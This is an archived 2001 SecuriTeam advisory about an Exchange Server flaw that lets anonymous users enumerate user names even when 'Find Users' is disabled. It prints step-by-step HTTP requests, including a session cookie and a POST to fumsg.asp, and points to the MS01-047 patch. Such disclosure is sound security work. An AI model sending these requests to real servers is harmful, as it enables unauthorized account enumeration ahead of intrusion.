

[NT] Exchange Public Folders Information Leakage

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-09/0036.html>

From: support@securiteam.com

Date: 09/07/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [NT] Exchange Public Folders Information Leakage

Message-Id: <20010907082308.BC6F3138C0@mail.der-keiler.de>

Date: Fri, 7 Sep 2001 10:23:08 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Exchange Public Folders Information Leakage

SUMMARY

Microsoft Exchange Server handles anonymous access to its Public Folders insecurely. While administrators may disable the "Find Users" features to prevent anonymous users from enumerating existing user names, a security flaw in Exchange server allows remote attackers with access to the exchange server to run "Find Users".

DETAILS

Microsoft Exchange's Public Folders options of "Find Users" can be disabled. This, however, does not prevent the users from directly accessing the ASP page (fumsg.asp). The link to the "Find Users" will be hidden, however it is still possible to programmatically access the page.

Steps to recreate:

1) Contact:

GET /exchange/root.asp?acs=anon HTTP/1.1

Host: www.example.com

2) Access the redirected page, and resend the issued cookie.

GET /exchange/logonfrm.asp HTTP/1.1

Securiteam: [NT] Exchange Public Folders Information Leakage

Host: www.example.com

Cookie: ASPSESSIONIDGGQGQGFWEABMCPIDGABPDJIKNOGBBPPN

3) Access the redirected page, and resend the issued cookie.

GET /exchange/root.asp?acs=anon HTTP/1.1

Host: www.example.com

Cookie: ASPSESSIONIDGGQGQGFWEABMCPIDGABPDJIKNOGBBPPN

4) Issue this request to obtain a list of users with the letter 'a' in their name (e.g. Administrator)

POST /exchange/finduser/fumsg.asp HTTP/1.1

Host: www.example.com

Accept: */*

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

Cookie: ASPSESSIONIDGGQGQGFWEABMCPIDGABPDJIKNOGBBPPN

DN=a&FN=&LN=&TL=&AN=&CP=&DP=&OF=&CY=&ST=&CO=

Vendor status:

Microsoft has been contacted on August 4, 2001. A security bulletin was released on September 7, 2001.

Solution:

Microsoft has released a patch for this problem. See

<<http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-047.asp>>

Microsoft Security Bulletin MS01-047 for more information.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:experts@securiteam.com>>

SecuriTeam Experts.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NEWS] Cisco Secure IDS Signature Obfuscation Vulnerability"

Securiteam: [NT] Exchange Public Folders Information Leakage

- *Messages sorted by:* [date] [thread] [subject] [author] [attachment]